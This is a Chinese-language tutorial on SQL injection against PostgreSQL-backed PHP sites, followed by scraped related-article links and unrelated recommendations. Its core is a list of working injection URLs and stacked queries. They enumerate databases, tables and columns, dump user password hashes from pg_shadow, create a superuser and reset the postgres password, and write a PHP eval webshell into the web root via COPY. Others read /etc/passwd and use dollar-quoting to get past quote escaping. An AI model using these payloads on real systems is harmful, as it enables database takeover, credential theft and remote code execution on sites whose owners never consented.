一般注入多用于在mssql和mysql两类数据库中,如mssql+asp、mysql+php则是最为常见的搭配环境。不同的网站应用的数据库也大不一样,根据数据库的处理能力、负载等多重因素决定。本文主要述说下关于少见的一类数据库注入:PostgreSQL。

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),可以说是目前世界上最先进,功能最强大的自由数据库管理系统。Postgres 的基本语法与 mysql 类似,如果对手工注入或 sql 语法有较多了解不会有任何困难。 这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档: http://www.postgresql.org/docs/9.2/static/sql-syntax.html (注:所有的 sql 语句不区分大小写,无论是操作符还是字段名,Postgres 都是大小写不敏感的)。

了解PostgreSQL

1.同其他数据库一致,SQL语句基本一致
2.支持/*、/**/、–注释,;和\g表示语句结束
3.使用||可以连接字符串(类似于mssql中的+),同时需要注意特殊字符被转义
4.无法自动匹配字段
5.web管理程序为phpPgAdmin
6.开放的默认端口为5432

PostgreSQL注入语句

http://xxx/1.php?id=1+order+by+x--     //order by猜字段数

http://xxx/1.php?id=1+and+1::int=1--     //判断postgresql数据库

http://xxx/1.php?id=1+and+1=cast(version() as int)--    //通过cast类型转换来暴postgresql信息

http://xxx/1.php?id=1+and+1=2+union+select+null,null,null,null--     //全部用null填充 方便在测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,null,null,null--     //测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,version(),null,4--   //当前PostgreSQL版本

http://xxx/1.php?id=1+and+1=2+union+select+1,null,user,null,4--   //当前用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_schema(),null,4--   //当前用户权限

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_database(),null,4--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,datname,null,4+from+pg_database+limit+1+offset+0--   //当前数据库名字

http://xxx/1.php?id=1+and+1=2+union+select+1,null,csession_user,null,4--   //会话用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_user,null,4--

http://xxx/1.php?id=1+and+1=cast(current_user ||999 as int)--   //目前执行环境下的用户名

http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--   //到所有用户表,修改offset后面的
或(加入relkind=’r’,只查询普通表)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_class+where+relkind='r'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--   //得到表名为xxx的oid值
或(由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,cast(oid+as+varchar(10)),null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--     //读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
或(利用对应表名为xxx的oid值)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,attname,null,4+from+pg_attribute+where+attrelid=oid值+limit+1+offset+0–

http://xxx/1.php?id=1+and+1=2+union+select+1,null,usename||chr(124)||passwd,null,4+from+pg_shadow+limit+1+offset+0--   //数据库用户的信息pg_shadow(pg_shadow 关键字段username、passwd和usesuper,不过此表被做了权限设置)

postgres用户

注:postgres用户权限相当于mysql的root用户权限

新建用户(user=polar1dear,pwd=polar1dear)

;create+user+polar1dear+with+superuser+password+'polar1dear'--

修改postgres用户密码

;alter+user+postgres+with+password+'polar1dear'--

遍历当前数据库全部表

select+tablename+from+pg_tables+where+tablename+not+like+'pg%'+and+tablename+not+like+'sql_%'+order+by+tablename--

读、写文件

通过数据库写文件来获取webshell是最为直接的方式了,不需要找后台,也不需要找上传漏洞,甚至我们可以通过数据库来直接获取到服务器的hash值进行破解。

1.写文件(主要用于写后门)

http://xxx/1.php?id=1;create table polar1dear(shell text not null);   //创建表polar1dear和字段shell
http://xxx/1.php?id=1;insert into polar1dear values(‘<?php eval($_POST[cmd]);?>’);   //写入代码到数据库
http://xxx/1.php?id=1;copy polar1dear(shell) to '/var/www/html/xxx.php';   ////导出为xxx.php文件

则后门为:http://xxx/xxx.php
另一种简便的方法(直接一句话):
copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/xxx.php’

2.读文件

http://xxx/1.php?id=1;create table polar1dear(file text not null);     //创建表polar1dear和字段file
http://xxx/1.php?id=1;copy polar1dear(file) from '/etc/passwd';   //复制文件内容到字段中
http://xxx/1.php?id=1;select * from polar1dear;   //查询

转义绕过

如果PHP中开启了magic_quotes_gpc=on,那么很悲剧的是一些符号将会被转义,如执行select pass from member where name=”admin”,最后的语句执行时为:select pass from member where name=\”admin\”。其他数据库我们尝是通过hex、char编码来解决这个问题,而在PostgreSQL中除此之外还提供了一种新的方法来绕过。在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,;insert into polar1dear values($$<?php eval($_POST[cmd]);?>$$);如此就成功的绕过了引号问题。

PostgreSQL注入基础的更多相关文章

  1. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  2. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  3. Java Web系列:Spring依赖注入基础

    一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是 ...

  4. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  5. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  6. postgresql架构基础(转)-(1)

    PostgreSQL使用一种客户端/服务器的模型.一次PostgreSQL会话由下列相关的进程(程序)组成: 一个服务器进程,它管理数据库文件.接受来自客户端应用与数据库的联接并且代表客户端在数据库上 ...

  7. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  8. WEB安全基础之sql注入基础

    1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...

  9. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

随机推荐

  1. C++ for循环语句

    #include "pch.h" #include<iostream> using namespace std; int main() { int i = 1, sum ...

  2. php(一)搭建php开发环境

    1.下载php语言包 php作为一门语言,本身可以是一个纯绿色版的"文件夹"——称之为"php语言包".windows版的下载地址:https://window ...

  3. 安装在类虚拟机crossover中的容器怎么进行的备份和恢复

    备份教程: 步骤一:运行CrossOver,选中相关容器,然后在[容器]中找到并点击[导出“MathType6.9b_Trial_YY.exe”到存档],或者直接右击容器名称,然后选择[导出“Math ...

  4. 【Java】【12】精确的加减乘除运算

    前言:用了BigDecimal对象 正文: 1,加法 /** * @param v1 被加数 * @param v2 加数 * @param scale 保留几位小数*/ public static ...

  5. docker 启动 nginx 服务

    docker run -d -p 80:80 --restart=always nginx:latest 参数说明: run 启动某个镜像 -d 让容器在后台运行 -p 指定端口映射,宿主机的80端口 ...

  6. CodeIgniter框架解析

    转载于:https://www.cnblogs.com/xiaoxiaoqingyi/p/6901654.html 转载仅为以后自己学习. 业余花了点时间看看CodeIgniter框架(简称CI),C ...

  7. mlp_clf_mnist_test

    import os os.environ['CUDA_VISIBLE_DEVICES'] = "0" from mlp_clf import MLPClassifier impor ...

  8. [LeetCode] 83. Remove Duplicates from Sorted List ☆(从有序链表中删除重复项)

    描述 Given a sorted linked list, delete all duplicates such that each element appear only once. Exampl ...

  9. 找几张图片制作GIF

    1.打开Python,输入代码 import PIL.Image as Image #套用PIL函数 def get_gif(pics_dir,n,t): imgs = [] for i in ran ...

  10. Qt核心机制与原理

    转:  https://blog.csdn.net/light_in_dark/article/details/64125085 ★了解Qt和C++的关系 ★掌握Qt的信号/槽机制的原理和使用方法 ★ ...